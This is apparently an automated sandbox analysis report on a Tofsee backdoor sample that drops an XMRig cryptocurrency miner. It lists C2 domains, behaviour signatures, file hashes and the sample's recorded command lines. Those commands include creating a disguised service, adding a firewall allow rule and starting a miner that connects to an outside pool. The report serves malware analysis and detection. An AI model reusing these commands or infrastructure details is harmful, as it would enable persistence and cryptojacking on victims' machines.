Analysis

  • max time kernel
    143s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2023, 04:38

General

  • Target
    file.exe
  • Size 195KB
  • Sample230122-e9dtzafc34
  • SHA256 eb15a8da6a982d785fbfd718e06bc16f094801f20e2cfc24f9baa3fd3423c8ae
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rnmzxzoh\
      2⤵
        PID:2644
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rhnuzlpe.exe" C:\Windows\SysWOW64\rnmzxzoh\
        2⤵
          PID:3264
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rnmzxzoh binPath= "C:\Windows\SysWOW64\rnmzxzoh\rhnuzlpe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3476
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rnmzxzoh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rnmzxzoh
          2⤵
          • Launches sc.exe
          PID:836
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:224
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 600
          2⤵
          • Program crash
          PID:4460
      • C:\Windows\SysWOW64\rnmzxzoh\rhnuzlpe.exe
        C:\Windows\SysWOW64\rnmzxzoh\rhnuzlpe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:112
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1688
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1280
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 112 -s 452
          2⤵
          • Program crash
          PID:4004
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2284 -ip 2284
        1⤵
          PID:5032
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 112 -ip 112
          1⤵
            PID:3060

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                rhnuzlpe.exe

                • Path C:\Users\Admin\AppData\Local\Temp\rhnuzlpe.exe
                • Size 11.6MB
                • SHA256 2fb420734de87b09fb9b982cf7432686c54445f9d2887223bdfc509abdc66650
                • MD5 SHA1 SHA512 SSDEEP

                rhnuzlpe.exe

                • Path C:\Windows\SysWOW64\rnmzxzoh\rhnuzlpe.exe
                • Size 11.6MB
                • SHA256 2fb420734de87b09fb9b982cf7432686c54445f9d2887223bdfc509abdc66650
                • MD5 SHA1 SHA512 SSDEEP

                memory/112-149-0x0000000002C4A000-0x0000000002C5D000-memory.dmp

                memory/112-152-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/112-150-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/1280-178-0x0000000000A10000-0x0000000000B01000-memory.dmp

                memory/1280-173-0x0000000000A10000-0x0000000000B01000-memory.dmp

                memory/1688-146-0x0000000000320000-0x0000000000335000-memory.dmp

                memory/1688-166-0x0000000007740000-0x0000000007B4B000-memory.dmp

                memory/1688-169-0x00000000019F0000-0x00000000019F7000-memory.dmp

                memory/1688-163-0x00000000019E0000-0x00000000019E5000-memory.dmp

                memory/1688-160-0x00000000019B0000-0x00000000019C0000-memory.dmp

                memory/1688-151-0x0000000000320000-0x0000000000335000-memory.dmp

                memory/1688-157-0x00000000019A0000-0x00000000019A6000-memory.dmp

                memory/1688-153-0x0000000000320000-0x0000000000335000-memory.dmp

                memory/1688-154-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/2284-143-0x0000000002C50000-0x0000000002C63000-memory.dmp

                memory/2284-144-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/2284-132-0x0000000002C50000-0x0000000002C63000-memory.dmp

                memory/2284-135-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/2284-133-0x00000000048E0000-0x00000000048F3000-memory.dmp